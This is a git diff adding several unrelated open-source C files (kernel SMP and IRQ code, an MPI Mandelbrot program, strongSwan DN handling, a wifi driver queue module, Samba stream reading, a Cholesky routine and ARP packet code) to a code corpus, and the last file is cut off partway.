+	uniphier_cache_l2_set_locked_ways(0);
+}
+
+static int __init uniphier_smp_enable_scu(void)
+{
+	unsigned long scu_base_phys = 0;
+	void __iomem *scu_base;
+
+	if (scu_a9_has_base())
+		scu_base_phys = scu_a9_get_base();
+
+	if (!scu_base_phys) {
+		pr_err("failed to get scu base\n");
+		return -ENODEV;
+	}
+
+	scu_base = ioremap(scu_base_phys, SZ_128);
+	if (!scu_base) {
+		pr_err("failed to map scu base\n");
+		return -ENOMEM;
+	}
+
+	scu_enable(scu_base);
+	iounmap(scu_base);
+
+	return 0;
+}
+
+static void __init uniphier_smp_prepare_cpus(unsigned int max_cpus)
+{
+	static cpumask_t only_cpu_0 = { CPU_BITS_CPU0 };
+	int ret;
+
+	ret = uniphier_smp_prepare_trampoline(max_cpus);
+	if (ret)
+		goto err;
+
+	ret = uniphier_smp_enable_scu();
+	if (ret)
+		goto err;
+
+	return;
+err:
+	pr_warn("disabling SMP\n");
+	init_cpu_present(&only_cpu_0);
+	uniphier_smp_unprepare_trampoline();
+}
+
+static int __init uniphier_smp_boot_secondary(unsigned int cpu,
+					      struct task_struct *idle)
+{
+	if (WARN_ON_ONCE(!uniphier_smp_rom_boot_rsv2))
+		return -EFAULT;
+
+	writel(cpu, uniphier_smp_rom_boot_rsv2);
+	readl(uniphier_smp_rom_boot_rsv2); /* relax */
+
+	asm("sev"); /* wake up secondary CPUs sleeping in the trampoline */
+
+	if (cpu == uniphier_smp_max_cpus - 1) {
+		/* clean up resources if this is the last CPU */
+		uniphier_smp_unprepare_trampoline();
+	}
+
+	return 0;
+}
+
+static const struct smp_operations uniphier_smp_ops __initconst = {
+	.smp_prepare_cpus	= uniphier_smp_prepare_cpus,
+	.smp_boot_secondary	= uniphier_smp_boot_secondary,
+};
+CPU_METHOD_OF_DECLARE(uniphier_smp, "socionext,uniphier-smp",
+		      &uniphier_smp_ops);
diff --git a/pool/shard001/C/0024670_project_mandelbrot_serial.c b/pool/shard001/C/0024670_project_mandelbrot_serial.c
new file mode 100644
index 0000000000000000000000000000000000000000..28bbac0aae8f5d0a809185d6ce0375cf1f315594
--- /dev/null
+++ b/pool/shard001/C/0024670_project_mandelbrot_serial.c
@@ -0,0 +1,125 @@
+#include <stdlib.h>  // required by malloc
+#include <stdio.h>
+#include <mpi.h>
+
+#define PRINT_MATRIX 0
+
+typedef unsigned char BYTE;
+typedef unsigned short DATA_TYPE;
+
+DATA_TYPE* gen_mandelbrot_set(
+                         const unsigned int start_x,
+                         const unsigned int start_y,
+                         const unsigned int max_iterations,
+                         unsigned int size_x,
+                         unsigned int size_y,
+                         unsigned int img_size_x,
+                         unsigned int img_size_y
+                         )
+{
+    DATA_TYPE *point_list;
+    point_list = (DATA_TYPE*) malloc(sizeof(DATA_TYPE) * size_x * size_y);
+    
+    unsigned int Px = 0;
+    unsigned int Py = 0;
+
+    for(Py = start_y; Py != start_y + size_y; ++Py)
+    {
+        for(Px = start_x; Px != start_x + size_x; ++Px)
+        {
+            double x0 = ((double) Px * 3.5 / (double) img_size_x) - 2.5;
+            double y0 = ((double) Py * 2.0 / (double) img_size_y) - 1.0;
+            double x = 0.0;
+            double y = 0.0;
+            double xTemp = 0.0;
+            DATA_TYPE iteration = 0;
+            
+            while( (x*x + y*y) < 2*2 && iteration < max_iterations)
+            {
+                xTemp = x*x - y*y + x0;
+                y = 2*x*y + y0;
+                x = xTemp;
+                
+                iteration++;
+            }
+            
+            point_list[(Px - start_x) + (Py - start_y) * size_x] = iteration;
+        }
+    }
+    
+    return point_list;
+}
+
+#if PRINT_MATRIX
+    void printMatrix(DATA_TYPE *matrix, int width, int height)
+    {   
+        int y, x;
+        fprintf(stdout, "\n");
+        for (y = 0; y != height; ++y) {
+            for (x = 0; x != width; ++x) {
+                fprintf(stdout, "%i\t", matrix[x + y*width]);
+            }
+            fprintf(stdout, "\n");
+        }
+        fprintf(stdout, "\n");
+    }
+#endif
+
+int main (int argc, char** argv)
+{
+    int rank = -1, 
+        size = -1, 
+        ok = 0;
+
+    DATA_TYPE *mandelbrot_matrix;
+    
+    unsigned int width = 1920,
+                 height = 1080,
+                 max_iteration = 10000;
+
+    double start, end; 
+
+    if (argc >= 2)
+    {
+        ok = sscanf( argv[1], "%dx%d", &width, &height);
+        if (ok != 2)
+        {
+            fprintf(stdout, ">>> Something went wrong during image resolution parsing...\n");
+            MPI_Abort(MPI_COMM_WORLD, 1);
+        }
+    }
+
+    if (argc >= 3)
+    {
+        ok = sscanf( argv[2], "%d", &max_iteration);
+        if (ok != 1)
+        {
+            fprintf(stdout, ">>> Something went wrong during max iterations parsing...\n");
+            MPI_Abort(MPI_COMM_WORLD, 2);
+        }
+    }
+
+    MPI_Init(&argc, &argv);
+    MPI_Comm_rank(MPI_COMM_WORLD, &rank);
+    MPI_Comm_size(MPI_COMM_WORLD, &size);
+
+    fprintf(stdout, ">>> I'm process rank(%d) - tot process: %d\n", rank, size);
+    fprintf(stdout, ">>> Starting serial algorithm...\n");
+    
+    start = MPI_Wtime(); 
+    mandelbrot_matrix = gen_mandelbrot_set(0, 0, max_iteration, width, height, width, height);
+    end = MPI_Wtime();
+
+    #if PRINT_MATRIX
+        if(rank == 0)
+            printMatrix(mandelbrot_matrix, width, height);
+    #endif
+
+    fprintf(stdout, ">>> Done!\n");
+    fprintf(stdout, ">>> Elapsed time is %f\n", end - start);
+    
+    free(mandelbrot_matrix);
+
+    MPI_Finalize();
+    return 0;
+}
diff --git a/pool/shard001/C/0024672_identification.c b/pool/shard001/C/0024672_identification.c
new file mode 100644
index 0000000000000000000000000000000000000000..73cc96b6a22691c387573b72586688e7c0f22a54
--- /dev/null
+++ b/pool/shard001/C/0024672_identification.c
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2009-2012 Tobias Brunner
+ * Copyright (C) 2005-2009 Martin Willi
+ * Copyright (C) 2005 Jan Hutter
+ * Hochschule fuer Technik Rapperswil
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2 of the License, or (at your
+ * option) any later version.  See <http://www.fsf.org/copyleft/gpl.txt>.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+ * or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * for more details.
+ */
+
+#include "typedefs.h"
+#include "identification.h"
+
+#include "oid.h"
+#include "asn1.h"
+
+/**
+ * coding of X.501 distinguished name
+ */
+typedef struct {
+	const u_char *name;
+	int oid;
+	u_char type;
+} x501rdn_t;
+
+static const x501rdn_t x501rdns[] = {
+	{"ND", 					OID_NAME_DISTINGUISHER,		ASN1_PRINTABLESTRING},
+	{"UID", 				OID_PILOT_USERID,			ASN1_PRINTABLESTRING},
+	{"DC", 					OID_PILOT_DOMAIN_COMPONENT, ASN1_PRINTABLESTRING},
+	{"CN",					OID_COMMON_NAME,			ASN1_PRINTABLESTRING},
+	{"S", 					OID_SURNAME,				ASN1_PRINTABLESTRING},
+	{"SN", 					OID_SERIAL_NUMBER,			ASN1_PRINTABLESTRING},
+	{"serialNumber", 		OID_SERIAL_NUMBER,			ASN1_PRINTABLESTRING},
+	{"C", 					OID_COUNTRY,				ASN1_PRINTABLESTRING},
+	{"L", 					OID_LOCALITY,				ASN1_PRINTABLESTRING},
+	{"ST",					OID_STATE_OR_PROVINCE,		ASN1_PRINTABLESTRING},
+	{"O", 					OID_ORGANIZATION,			ASN1_PRINTABLESTRING},
+	{"OU", 					OID_ORGANIZATION_UNIT,		ASN1_PRINTABLESTRING},
+	{"T", 					OID_TITLE,					ASN1_PRINTABLESTRING},
+	{"D", 					OID_DESCRIPTION,			ASN1_PRINTABLESTRING},
+	{"N", 					OID_NAME,					ASN1_PRINTABLESTRING},
+	{"G", 					OID_GIVEN_NAME,				ASN1_PRINTABLESTRING},
+	{"I", 					OID_INITIALS,				ASN1_PRINTABLESTRING},
+	{"dnQualifier", 		OID_DN_QUALIFIER,			ASN1_PRINTABLESTRING},
+	{"ID", 					OID_UNIQUE_IDENTIFIER,		ASN1_PRINTABLESTRING},
+	{"EN", 					OID_EMPLOYEE_NUMBER,		ASN1_PRINTABLESTRING},
+	{"employeeNumber",		OID_EMPLOYEE_NUMBER,		ASN1_PRINTABLESTRING},
+	{"E",					OID_EMAIL_ADDRESS,			ASN1_IA5STRING},
+	{"Email", 				OID_EMAIL_ADDRESS,			ASN1_IA5STRING},
+	{"emailAddress",		OID_EMAIL_ADDRESS,			ASN1_IA5STRING},
+	{"UN",					OID_UNSTRUCTURED_NAME,		ASN1_IA5STRING},
+	{"unstructuredName",	OID_UNSTRUCTURED_NAME,		ASN1_IA5STRING},
+	{"UA",					OID_UNSTRUCTURED_ADDRESS,	ASN1_PRINTABLESTRING},
+	{"unstructuredAddress", OID_UNSTRUCTURED_ADDRESS,	ASN1_PRINTABLESTRING},
+	{"TCGID", 				OID_TCGID,					ASN1_PRINTABLESTRING}
+};
+
+/**
+ * maximum number of RDNs in atodn()
+ */
+#define RDN_MAX			20
+
+
+typedef struct private_identification_t private_identification_t;
+
+/**
+ * Private data of an identification_t object.
+ */
+struct private_identification_t {
+	/**
+	 * Public interface.
+	 */
+	identification_t public;
+
+	/**
+	 * Encoded representation of this ID.
+	 */
+	chunk_t encoded;
+
+	/**
+	 * Type of this ID.
+	 */
+	id_type_t type;
+};
+
+/**
+ * Enumerator over RDNs
+ */
+typedef struct {
+	/* implements enumerator interface */
+	enumerator_t public;
+	/* next set to parse, if any */
+	chunk_t sets;
+	/* next sequence in set, if any */
+	chunk_t seqs;
+} rdn_enumerator_t;
+
+METHOD(enumerator_t, rdn_enumerate, bool,
+	rdn_enumerator_t *this, chunk_t *oid, u_char *type, chunk_t *data)
+{
+	chunk_t rdn;
+
+	/* a DN contains one or more SET, each containing one or more SEQUENCES,
+	 * each containing a OID/value RDN */
+	if (!this->seqs.len)
+	{
+		/* no SEQUENCEs in current SET, parse next SET */
+		if (asn1_unwrap(&this->sets, &this->seqs) != ASN1_SET)
+		{
+			return FALSE;
+		}
+	}
+	if (asn1_unwrap(&this->seqs, &rdn) == ASN1_SEQUENCE &&
+		asn1_unwrap(&rdn, oid) == ASN1_OID)
+	{
+		int t = asn1_unwrap(&rdn, data);
+
+		if (t != ASN1_INVALID)
+		{
+			*type = t;
+			return TRUE;
+		}
+	}
+	return FALSE;
+}
+
+/**
+ * Create an enumerator over all RDNs (oid, string type, data) of a DN
+ */
+static enumerator_t* create_rdn_enumerator(chunk_t dn)
+{
+	rdn_enumerator_t *e;
+
+	INIT(e,
+		.public = {
+			.enumerate = (void*)_rdn_enumerate,
+			.destroy = (void*)free,
+		},
+	);
+
+	/* a DN is a SEQUENCE, get the first SET of it */
+	if (asn1_unwrap(&dn, &e->sets) == ASN1_SEQUENCE)
+	{
+		e->seqs = chunk_empty;
+		return &e->public;
+	}
+	free(e);
+	return enumerator_create_empty();
+}
+
+/**
+ * Print a DN with all its RDN in a buffer to present it to the user
+ */
+void dntoa(chunk_t dn, STR *buf, size_t len)
+{
+	enumerator_t *e;
+	chunk_t oid_data, data, printable;
+	u_char type;
+	int oid, written;
+	bool finished = FALSE, empty = TRUE;
+
+	e = create_rdn_enumerator(dn);
+	while (e->enumerate(e, &oid_data, &type, &data))
+	{
+		empty = FALSE;
+
+		oid = asn1_known_oid(oid_data);
+
+		if (oid == OID_UNKNOWN)
+		{
+			written = snprintf(buf, len, "UNKNOWN-OID=");
+		}
+		else
+		{
+			written = snprintf(buf, len,"%" STRA "=", oid_names[oid].name);
+		}
+		if (written < 0 || written >= len)
+		{
+			break;
+		}
+		buf += written;
+		len -= written;
+
+		chunk_printable(data, &printable, '?');
+		written = snprintf(buf, len, "%.*" STRA, (int)printable.len, printable.ptr);
+		chunk_free(&printable);
+		if (written < 0 || written >= len)
+		{
+			break;
+		}
+		buf += written;
+		len -= written;
+
+		if (data.ptr + data.len != dn.ptr + dn.len)
+		{
+			written = snprintf(buf, len, ", ");
+			if (written < 0 || written >= len)
+			{
+				break;
+			}
+			buf += written;
+			len -= written;
+		}
+		else
+		{
+			finished = TRUE;
+			break;
+		}
+	}
+	if (empty)
+	{
+		snprintf(buf, len, "");
+	}
+	else if (!finished)
+	{
+		snprintf(buf, len, "(invalid ID_DER_ASN1_DN)");
+	}
+	e->destroy(e);
+}
diff --git a/pool/shard001/C/0024674_netif_block.c b/pool/shard001/C/0024674_netif_block.c
new file mode 100644
index 0000000000000000000000000000000000000000..768dd0ffc3a24bd0b62c35723793cad99f2e2506
--- /dev/null
+++ b/pool/shard001/C/0024674_netif_block.c
@@ -0,0 +1,122 @@
+
+#ifdef BLOCK_NET_IF
+
+#include "../rt_config.h"
+#include "../netif_block.h"
+
+
+static NETIF_ENTRY freeNetIfEntryPool[FREE_NETIF_POOL_SIZE];
+static LIST_HEADER freeNetIfEntryList;
+
+void initblockQueueTab(
+	IN PRTMP_ADAPTER pAd)
+{
+	int i;
+
+	initList(&freeNetIfEntryList);
+	for (i = 0; i < FREE_NETIF_POOL_SIZE; i++)
+		insertTailList(&freeNetIfEntryList, (PLIST_ENTRY)&freeNetIfEntryPool[i]);
+
+	for (i=0; i < NUM_OF_TX_RING; i++)
+		initList(&pAd->blockQueueTab[i].NetIfList);
+
+	return;
+}
+
+BOOLEAN blockNetIf(
+	IN PBLOCK_QUEUE_ENTRY pBlockQueueEntry,
+	IN PNET_DEV pNetDev)
+{
+	PNETIF_ENTRY pNetIfEntry = NULL;
+
+	if ((pNetIfEntry = (PNETIF_ENTRY)removeHeadList(&freeNetIfEntryList)) != NULL)
+	{
+		RTMP_OS_NETDEV_STOP_QUEUE(pNetDev);
+		pNetIfEntry->pNetDev = pNetDev;
+		insertTailList(&pBlockQueueEntry->NetIfList, (PLIST_ENTRY)pNetIfEntry);
+
+		pBlockQueueEntry->SwTxQueueBlockFlag = TRUE;
+		DBGPRINT(RT_DEBUG_TRACE, ("RTMP_OS_NETDEV_STOP_QUEUE(%s)\n", RTMP_OS_NETDEV_GET_DEVNAME(pNetDev)));
+	}
+	else
+		return FALSE;
+
+	return TRUE;
+}
+
+VOID releaseNetIf(
+	IN PBLOCK_QUEUE_ENTRY pBlockQueueEntry)
+{
+	PNETIF_ENTRY pNetIfEntry = NULL;
+	PLIST_HEADER pNetIfList = &pBlockQueueEntry->NetIfList;
+
+	while((pNetIfEntry = (PNETIF_ENTRY)removeHeadList(pNetIfList)) !=  NULL)
+	{
+		PNET_DEV pNetDev = pNetIfEntry->pNetDev;
+		RTMP_OS_NETDEV_WAKE_QUEUE(pNetDev);
+		insertTailList(&freeNetIfEntryList, (PLIST_ENTRY)pNetIfEntry);
+
+		DBGPRINT(RT_DEBUG_TRACE, ("RTMP_OS_NETDEV_WAKE_QUEUE(%s)\n", RTMP_OS_NETDEV_GET_DEVNAME(pNetDev)));
+	}
+	pBlockQueueEntry->SwTxQueueBlockFlag = FALSE;
+	return;
+}
+
+
+VOID StopNetIfQueue(
+	IN PRTMP_ADAPTER pAd,
+	IN UCHAR QueIdx,
+	IN PNDIS_PACKET pPacket)
+{
+	PNET_DEV NetDev = NULL;
+	UCHAR IfIdx = 0;
+	BOOLEAN valid = FALSE;
+
+#ifdef APCLI_SUPPORT
+	if (RTMP_GET_PACKET_NET_DEVICE(pPacket) >= MIN_NET_DEVICE_FOR_APCLI)
+	{
+		IfIdx = (RTMP_GET_PACKET_NET_DEVICE(pPacket) - MIN_NET_DEVICE_FOR_APCLI) % MAX_APCLI_NUM;
+		NetDev = pAd->ApCfg.ApCliTab[IfIdx].dev;
+	}
+	else
+#endif 
+#ifdef WDS_SUPPORT
+	if (RTMP_GET_PACKET_NET_DEVICE(pPacket) >= MIN_NET_DEVICE_FOR_WDS)
+	{
+		IfIdx = (RTMP_GET_PACKET_NET_DEVICE(pPacket) - MIN_NET_DEVICE_FOR_WDS) % MAX_WDS_ENTRY;
+		NetDev = pAd->WdsTab.WdsEntry[IfIdx].dev;
+	}
+	else
+#endif 
+	{
+#ifdef MBSS_SUPPORT
+		if (pAd->OpMode == OPMODE_AP)
+		{
+			IfIdx = (RTMP_GET_PACKET_NET_DEVICE(pPacket) - MIN_NET_DEVICE_FOR_MBSSID) % MAX_MBSSID_NUM;
+			NetDev = pAd->ApCfg.MBSSID[IfIdx].MSSIDDev;
+		}
+		else
+		{
+			IfIdx = MAIN_MBSSID;
+			NetDev = pAd->net_dev;
+		}
+#else
+		IfIdx = MAIN_MBSSID;
+		NetDev = pAd->net_dev;
+#endif
+	}
+
+	
+	
+	
+#ifdef CONFIG_STA_SUPPORT
+	IF_DEV_CONFIG_OPMODE_ON_STA(pAd)
+		valid = (pAd->CommonCfg.bWmmCapable == TRUE) ? FALSE : TRUE;
+#endif 
+
+	if (valid)
+		blockNetIf(&pAd->blockQueueTab[QueIdx], NetDev);
+	return;
+}
+
+#endif 
diff --git a/pool/shard001/C/0024701_tstream.c b/pool/shard001/C/0024701_tstream.c
new file mode 100644
index 0000000000000000000000000000000000000000..dd830e2aa442d36afb2028599abebaa60a70c298
--- /dev/null
+++ b/pool/shard001/C/0024701_tstream.c
@@ -0,0 +1,177 @@
+/*
+ *  Unix SMB/CIFS implementation.
+ *
+ *  Copyright (C) Stefan Metzmacher 2009
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include "includes.h"
+#include <tevent.h>
+#include "system/filesys.h"
+#include "system/network.h"
+#include "../lib/tsocket/tsocket.h"
+#include "../libcli/util/tstream.h"
+#include "../lib/util/tevent_ntstatus.h"
+
+struct tstream_read_pdu_blob_state {
+	/* this structs are owned by the caller */
+	struct {
+		struct tevent_context *ev;
+		struct tstream_context *stream;
+		tstream_read_pdu_blob_full_fn_t *full_fn;
+		void *full_private;
+	} caller;
+
+	DATA_BLOB pdu_blob;
+	struct iovec tmp_vector;
+};
+
+static void tstream_read_pdu_blob_done(struct tevent_req *subreq);
+
+struct tevent_req *tstream_read_pdu_blob_send(TALLOC_CTX *mem_ctx,
+				struct tevent_context *ev,
+				struct tstream_context *stream,
+				size_t initial_read_size,
+				tstream_read_pdu_blob_full_fn_t *full_fn,
+				void *full_private)
+{
+	struct tevent_req *req;
+	struct tstream_read_pdu_blob_state *state;
+	struct tevent_req *subreq;
+	uint8_t *buf;
+
+	req = tevent_req_create(mem_ctx, &state,
+				struct tstream_read_pdu_blob_state);
+	if (!req) {
+		return NULL;
+	}
+
+	state->caller.ev		= ev;
+	state->caller.stream		= stream;
+	state->caller.full_fn		= full_fn;
+	state->caller.full_private	= full_private;
+
+	if (initial_read_size == 0) {
+		tevent_req_error(req, EINVAL);
+		return tevent_req_post(req, ev);
+	}
+
+	buf = talloc_array(state, uint8_t, initial_read_size);
+	if (tevent_req_nomem(buf, req)) {
+		return tevent_req_post(req, ev);
+	}
+	state->pdu_blob.data = buf;
+	state->pdu_blob.length = initial_read_size;
+
+	state->tmp_vector.iov_base = (char *) buf;
+	state->tmp_vector.iov_len = initial_read_size;
+
+	subreq = tstream_readv_send(state, ev, stream, &state->tmp_vector, 1);
+	if (tevent_req_nomem(subreq, req)) {
+		return tevent_req_post(req, ev);
+	}
+	tevent_req_set_callback(subreq, tstream_read_pdu_blob_done, req);
+
+	return req;
+}
+
+static void tstream_read_pdu_blob_done(struct tevent_req *subreq)
+{
+	struct tevent_req *req =
+		tevent_req_callback_data(subreq,
+		struct tevent_req);
+	struct tstream_read_pdu_blob_state *state =
+		tevent_req_data(req,
+		struct tstream_read_pdu_blob_state);
+	ssize_t ret;
+	int sys_errno;
+	size_t old_buf_size = state->pdu_blob.length;
+	size_t new_buf_size = 0;
+	size_t pdu_size = 0;
+	NTSTATUS status;
+	uint8_t *buf;
+
+	ret = tstream_readv_recv(subreq, &sys_errno);
+	TALLOC_FREE(subreq);
+	if (ret == -1) {
+		status = map_nt_error_from_unix_common(sys_errno);
+		tevent_req_nterror(req, status);
+		return;
+	}
+
+	status = state->caller.full_fn(state->caller.full_private,
+				       state->pdu_blob, &pdu_size);
+	if (NT_STATUS_IS_OK(status)) {
+		tevent_req_done(req);
+		return;
+	} else if (NT_STATUS_EQUAL(status, STATUS_MORE_ENTRIES)) {
+		/* more to get */
+		if (pdu_size > 0) {
+			new_buf_size = pdu_size;
+		} else {
+			/* we don't know the size yet, so get one more byte */
+			new_buf_size = old_buf_size + 1;
+		}
+	} else if (!NT_STATUS_IS_OK(status)) {
+		tevent_req_nterror(req, status);
+		return;
+	}
+
+	if (new_buf_size <= old_buf_size) {
+		tevent_req_nterror(req, NT_STATUS_INVALID_BUFFER_SIZE);
+		return;
+	}
+
+	buf = talloc_realloc(state, state->pdu_blob.data, uint8_t, new_buf_size);
+	if (tevent_req_nomem(buf, req)) {
+		return;
+	}
+	state->pdu_blob.data = buf;
+	state->pdu_blob.length = new_buf_size;
+
+	state->tmp_vector.iov_base = (char *) (buf + old_buf_size);
+	state->tmp_vector.iov_len = new_buf_size - old_buf_size;
+
+	subreq = tstream_readv_send(state,
+				    state->caller.ev,
+				    state->caller.stream,
+				    &state->tmp_vector,
+				    1);
+	if (tevent_req_nomem(subreq, req)) {
+		return;
+	}
+	tevent_req_set_callback(subreq, tstream_read_pdu_blob_done, req);
+}
+
+NTSTATUS tstream_read_pdu_blob_recv(struct tevent_req *req,
+				    TALLOC_CTX *mem_ctx,
+				    DATA_BLOB *pdu_blob)
+{
+	struct tstream_read_pdu_blob_state *state = tevent_req_data(req,
+					struct tstream_read_pdu_blob_state);
+	NTSTATUS status;
+
+	if (tevent_req_is_nterror(req, &status)) {
+		tevent_req_received(req);
+		return status;
+	}
+
+	*pdu_blob = state->pdu_blob;
+	talloc_steal(mem_ctx, pdu_blob->data);
+
+	tevent_req_received(req);
+	return NT_STATUS_OK;
+}
+
diff --git a/pool/shard001/C/0024714_dpotrf_ref.c b/pool/shard001/C/0024714_dpotrf_ref.c
new file mode 100644
index 0000000000000000000000000000000000000000..1a62c79518446ff1eb49c83eb7eba8b09120b32a
--- /dev/null
+++ b/pool/shard001/C/0024714_dpotrf_ref.c
@@ -0,0 +1,51 @@
+static void dpotrf_ref(CBlasUplo uplo, size_t n,
+                       double * restrict A, size_t lda, long * restrict info) {
+  *info = 0;
+  if (lda < n)
+    *info = -4;
+  if (*info != 0) {
+    XERBLA(-(*info));
+    return;
+  }
+
+  if (n == 0) return;
+
+  if (uplo == CBlasUpper) {
+    for (size_t j = 0; j < n; j++) {
+      for (size_t i = 0; i <= j; i++) {
+        double temp = A[j * lda + i];
+        for (size_t k = 0; k < i; k++)
+          temp -= A[j * lda + k] * A[i * lda + k];
+        if (i == j) {
+          if (temp <= 0.0 || isnan(temp)) {
+            A[j * lda + j] = temp;
+            *info = (long)j + 1;
+            return;
+          }
+          A[j * lda + j] = sqrt(temp);
+        }
+        else
+          A[j * lda + i] = temp / A[i * lda + i];
+      }
+    }
+  }
+  else {
+    for (size_t j = 0; j < n; j++) {
+      for (size_t i = j; i < n; i++) {
+        double temp = A[j * lda + i];
+        for (size_t k = 0; k < j; k++)
+          temp -= A[k * lda + j] * A[k * lda + i];
+        if (i == j) {
+          if (temp <= 0.0 || isnan(temp)) {
+            A[j * lda + j] = temp;
+            *info = (long)j + 1;
+            return;
+          }
+          A[j * lda + j] = sqrt(temp);
+        }
+        else
+          A[j * lda + i] = temp / A[j * lda + j];
+      }
+    }
+  }
+}
diff --git a/pool/shard001/C/0024725_arp.c b/pool/shard001/C/0024725_arp.c
new file mode 100644
index 0000000000000000000000000000000000000000..be375da7a75f20850c7a5dbc3b4468d2b42d258c
--- /dev/null
+++ b/pool/shard001/C/0024725_arp.c
@@ -0,0 +1,145 @@
+/*
+ * Copyright(C) 2016 Simon Schmidt
+ * 
+ * This Source Code Form is subject to the terms of the
+ * Mozilla Public License, v. 2.0. If a copy of the MPL
+ * was not distributed with this file, You can obtain one at
+ * http://mozilla.org/MPL/2.0/.
+ */
+#include <ppe/arp.h>
+#include <ppe/packing.h>
+#include <ppe/stdint.h>
+#include <ppe/errornum.h>
+#include <ppe/endianess.h>
+
+/*
+ *    ArpPacketHeader
+ * @brief ARP-Packet Header
+ */
+typedef net_struct_begin{
+	uint16_t hardAddrType; /* =1 for ethernet. */
+	
+	uint16_t protAddrType; /* =0x0800 for IPv4. */
+	
+	uint8_t  hardAddrSize; /* =6 for ethernet. */
+	uint8_t  protAddrSize; /* =4 for IPv4 */
+	
+	uint16_t opCode;
+	
+	MacAddress  hardAddrSource;
+	IPv4Address protAddrSource;
+	MacAddress  hardAddrTarget;
+	IPv4Address protAddrTarget;
+} net_struct_end ArpPacketHeader;
+
+/*
+ *    MacAddr
+ * @brief Mac Address
+ * This structure is designed, to efficiently assign a mac address.
+ */
+typedef net_struct_begin{
+	uint8_t content[6];
+} net_struct_end MacAddr;
+
+typedef void* Pointer;
+
+int ppe_createPacket_arp(ppeBuffer *packet, ARP_PacketInfo *info) {
+	Pointer beginHeader, endHeader, endPacket;
+	ArpPacketHeader *header;
+
+	/*
+	 * Unpack memory address of the start and end of the packet.
+	 */
+	endHeader    =   packet->position;
+	endPacket    =   packet->limit;
+
+	/*
+	 * Calculating the outer packet boundaries.
+	 */
+	beginHeader  =   endHeader - sizeof(ArpPacketHeader);
+
+	/*
+	 * Check, wether the new frame exceeds the buffer boundaries.
+	 */
+	if(beginHeader < packet->begin) return ERROR_BUFFER_OVERFLOW;
+
+	/*
+	 * Assign the header and footer struct-pointers.
+	 */
+	header  =  beginHeader;
+
+	/*
+	 * Construct the header.
+	 */
+	header->hardAddrType                =  encBE16(1);
+	header->protAddrType                =  encBE16(0x0800);
+	header->hardAddrSize                =  6;
+	header->protAddrSize                =  4;
+	header->opCode                      =  encBE16(info->opCode);
+	*((MacAddr*)header->hardAddrSource) =  *((MacAddr*)info->hardAddress[info->sourcePos  ]);
+	header->protAddrSource              =  info->protAddress[info->sourcePos  ];
+	*((MacAddr*)header->hardAddrTarget) =  *((MacAddr*)info->hardAddress[info->sourcePos^1]);
+	header->protAddrTarget              =  info->protAddress[info->sourcePos^1];
+
+	/*
+	 * Assign the new boundaries to the packet.
+	 */
+	packet->position  =  beginHeader;
+	return 0;
+}
+
+int ppe_parsePacket_arp(ppeBuffer *packet, ARP_PacketInfo *info) {
+	uint16_t hardType,protType;
+	uint8_t hardSize,protSize;
+	Pointer beginHeader, endHeader, endPacket;
+	ArpPacketHeader *header;
+
+	/*
+	 * Preliminary Header boundaries
+	 */
+	beginHeader  =  packet->position;
+	endHeader    =  beginHeader + sizeof(ArpPacketHeader);
+
+	/*
+	 * Bounds-check header.
+	 */
+	if( endHeader > packet->limit ) return ERROR_BUFFER_OVERFLOW;
+
+	/*
+	 * Extract all necessary informations from the header to perform sanity,
+	 * conformance and bounds checks.
+	 */
+	header                =  beginHeader;
+	hardType              =  decBE16( header->hardAddrType );
+	protType              =  decBE16( header->protAddrType );
+	hardSize              =  header->hardAddrSize;
+	protSize              =  header->protAddrSize;
+
+	/*
+	 * Conformance-Check the packet header. Note that only a combination of
+	 * Ethernet and IPv4 is supported (for now).
+	 */
+	if(
+		(hardType != 1)||
+		(protType == 0x0800)||
+		(hardSize != 6)||
+		(protSize != 4)
+	) return ERROR_PROTOCOL_VIOLATION;
+
+	/*
+	 * Extract all informations from the packet header.
+	 */
+	info->sourcePos                    =  0;
+	*((MacAddr*)info->hardAddress[0])  =  *((MacAddr*)header->hardAddrSource);
+	info->protAddress[0]               =  header->protAddrSource;
+	*((MacAddr*)info->hardAddress[1])  =  *((MacAddr*)header->hardAddrTarget);
+	info->protAddress[1]               =  header->protAddrTarget;
+	info->opCode                       =  decBE16( header->opCode );
+
+	/*
+	 * Keep the old boundaries to the packet. (for now)
+	 */
+	return 0;
+}
+
+
diff --git a/pool/shard001/C/0024730_irq.c b/pool/shard001/C/0024730_irq.c
new file mode 100644
index 0000000000000000000000000000000000000000..34259eecd97100d3fec514657fe48cc3cc244d82
--- /dev/null
+++ b/pool/shard001/C/0024730_irq.c
@@ -0,0 +1,295 @@
+/*
+ * Copyright 2010 Tilera Corporation. All Rights Reserved.
+ *
+ *   This program is free software; you can redistribute it and/or
+ *   modify it under the terms of the GNU General Public License
+ *   as published by the Free Software Foundation, version 2.
+ *
+ *   This program is distributed in the hope that it will be useful, but
+ *   WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ *   NON INFRINGEMENT.  See the GNU General Public License for
+ *   more details.
+ */
+
+#include <linux/module.h>
+#include <linux/seq_file.h>
+#include <linux/interrupt.h>
+#include <linux/irq.h>
+#include <linux/kernel_stat.h>
+#include <linux/uaccess.h>
+#include <hv/drv_pcie_rc_intf.h>
+#include <arch/spr_def.h>
+#include <asm/traps.h>
+
+/* Bit-flag stored in irq_desc->chip_data to indicate HW-cleared irqs. */
+#define IS_HW_CLEARED 1
+
+/*
+ * The set of interrupts we enable for arch_local_irq_enable().
+ * This is initialized to have just a single interrupt that the kernel
+ * doesn't actually use as a sentinel.  During kernel init,
+ * interrupts are added as the kernel gets prepared to support them.
+ * NOTE: we could probably initialize them all statically up front.
+ */
+DEFINE_PER_CPU(unsigned long long, interrupts_enabled_mask) =
